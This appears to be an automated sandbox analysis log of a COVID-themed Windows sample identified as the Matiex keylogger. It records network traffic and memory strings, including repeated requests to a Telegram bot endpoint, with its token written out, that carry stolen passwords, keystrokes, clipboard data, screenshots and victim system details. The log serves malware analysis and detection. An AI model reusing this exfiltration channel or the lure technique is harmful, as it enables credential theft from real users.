Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768038e62651Host: api.telegram.orgContent-Length: 828602
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d976803934d435Host: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d97680395634b8Host: api.telegram.orgContent-Length: 833
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d976803975448cHost: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768039a2802dHost: api.telegram.orgContent-Length: 828602
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768039fd19a5Host: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d976803a1e7a3aHost: api.telegram.orgContent-Length: 833
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d976803a3d78f2Host: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d976803aafe994Host: api.telegram.orgContent-Length: 828602
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d976803b9990bfHost: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d976803bbd536bHost: api.telegram.orgContent-Length: 833
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d976803bdeb43dHost: api.telegram.orgContent-Length: 749
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d976803c0e6344Host: api.telegram.orgContent-Length: 828602
Source: global traffic	HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d976803c643a9fHost: api.telegram.orgContent-Length: 749

Source: unknown

HTTPS traffic detected: 172.67.188.154:443 -> 192.168.2.5:49783 version: TLS 1.0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: Joe Sandbox View

ASN Name: DAVID_CRAIGGG DAVID_CRAIGGG

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 158.101.44.242 158.101.44.242

Source: global traffic

TCP traffic: 192.168.2.5:49777 -> 91.193.75.202:40401

Source: dwnl.exe, 00000021.00000002.500760473.0000000002F24000.00000004.00000001.sdmp	String found in binary or memory: http://api.telegram.org
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	String found in binary or memory: http://cacerts.digicert.com/NETFoundationProjectsCodeSigningCA.crt0
Source: dwnl.exe, 00000021.00000002.499604994.0000000002D80000.00000004.00000001.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: dwnl.exe, 00000021.00000002.499604994.0000000002D80000.00000004.00000001.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: dwnl.exe, 00000021.00000002.499333644.0000000002D0B000.00000004.00000001.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: dwnl.exe, 00000021.00000002.499364955.0000000002D1C000.00000004.00000001.sdmp	String found in binary or memory: http://checkip.dyndns.org/HB
Source: dwnl.exe, 00000021.00000002.499604994.0000000002D80000.00000004.00000001.sdmp	String found in binary or memory: http://checkip.dyndns.orgD8
Source: WerFault.exe, 00000022.00000003.464193186.000000000542E000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	String found in binary or memory: http://crl3.digicert.com/NETFoundationProjectsCodeSigningCA.crl0E
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	String found in binary or memory: http://crl4.digicert.com/NETFoundationProjectsCodeSigningCA.crl0L
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: dwnl.exe, 00000021.00000002.499649327.0000000002DA1000.00000004.00000001.sdmp	String found in binary or memory: http://freegeoip.app
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: dwnl.exe, 00000021.00000003.484320135.00000000088B1000.00000004.00000001.sdmp	String found in binary or memory: http://ns.adb
Source: dwnl.exe, 00000021.00000002.505061578.00000000088C0000.00000004.00000001.sdmp	String found in binary or memory: http://ns.ado/1k
Source: dwnl.exe, 00000021.00000002.505061578.00000000088C0000.00000004.00000001.sdmp	String found in binary or memory: http://ns.adobe.c/gk
Source: dwnl.exe, 00000021.00000002.505061578.00000000088C0000.00000004.00000001.sdmp	String found in binary or memory: http://ns.adobe.cobjk
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	String found in binary or memory: http://ocsp.digicert.com0K
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: dwnl.exe, 00000021.00000002.499484272.0000000002D3A000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.420600337.0000000006F72000.00000004.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: dwnl.exe, 00000021.00000002.500760473.0000000002F24000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org
Source: dwnl.exe, 00000021.00000002.500760473.0000000002F24000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: dwnl.exe, 00000021.00000002.499333644.0000000002D0B000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=Createutf-8Win32_ComputerSystemModelManufactu
Source: dwnl.exe, 00000021.00000002.500150887.0000000002E2A000.00000004.00000001.sdmp, dwnl.exe, 00000021.00000002.500313293.0000000002E73000.00000004.00000001.sdmp, dwnl.exe, 00000021.00000002.500473529.0000000002EAF000.00000004.00000001.sdmp, dwnl.exe, 00000021.00000002.499399021.0000000002D24000.00000004.00000001.sdmp, dwnl.exe, 00000021.00000002.499484272.0000000002D3A000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.org/bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120
Source: dwnl.exe, 00000021.00000002.499399021.0000000002D24000.00000004.00000001.sdmp	String found in binary or memory: https://api.telegram.orgD8
Source: dwnl.exe, 00000021.00000002.499604994.0000000002D80000.00000004.00000001.sdmp	String found in binary or memory: https://freegeoip.app
Source: dwnl.exe, 00000021.00000002.499604994.0000000002D80000.00000004.00000001.sdmp	String found in binary or memory: https://freegeoip.app/xml/
Source: dwnl.exe, 00000021.00000002.500097152.0000000002E14000.00000004.00000001.sdmp, dwnl.exe, 00000021.00000002.499750087.0000000002DBF000.00000004.00000001.sdmp	String found in binary or memory: https://freegeoip.app/xml/84.17.52.51
Source: dwnl.exe, 00000021.00000002.499333644.0000000002D0B000.00000004.00000001.sdmp	String found in binary or memory: https://freegeoip.app/xml/LoadTimeZoneCountryNameCountryCodehttps://www.geodatatool.com/en/?ip=/
Source: dwnl.exe, 00000021.00000002.499333644.0000000002D0B000.00000004.00000001.sdmp	String found in binary or memory: https://i.imgur.com/GJD7Q5y.png195.239.51.11795.26.248.2989.208.29.13389.187.165.4792.118.13.1895.26
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: dwnl.exe, 00000021.00000002.500097152.0000000002E14000.00000004.00000001.sdmp	String found in binary or memory: https://www.geodatatool.com/en/?ip=
Source: dwnl.exe, 00000021.00000002.500865912.0000000002F78000.00000004.00000001.sdmp, dwnl.exe, 00000021.00000002.499712859.0000000002DB7000.00000004.00000001.sdmp, dwnl.exe, 00000021.00000002.499993067.0000000002E05000.00000004.00000001.sdmp, dwnl.exe, 00000021.00000002.499842300.0000000002DED000.00000004.00000001.sdmp	String found in binary or memory: https://www.geodatatool.com/en/?ip=84.17.52.51
Source: dwnl.exe, 00000021.00000002.500413972.0000000002E93000.00000004.00000001.sdmp, dwnl.exe, 00000021.00000002.499311102.0000000002D07000.00000004.00000001.sdmp	String found in binary or memory: https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%2
Source: UK COVID UPDATES AND ENTITLEMENT.exe	String found in binary or memory: https://www.gnu.org/licenses/gpl-3.0.html
Source: UK COVID UPDATES AND ENTITLEMENT.exe	String found in binary or memory: https://www.gnu.org/licenses/gpl-3.0.htmlF
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	String found in binary or memory: https://www.newtonsoft.com/json
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson

Source: unknown

DNS traffic detected: queries for: www.google.com

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Code function: 28_2_0040221C ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,malloc,recv,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDIABV?$allocator@D@1@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Y?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,free,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,

Source: global traffic	HTTP traffic detected: GET /xml/84.17.52.51 HTTP/1.1Host: freegeoip.appConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/84.17.52.51 HTTP/1.1Host: freegeoip.app
Source: global traffic	HTTP traffic detected: GET /xml/84.17.52.51 HTTP/1.1Host: freegeoip.app
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
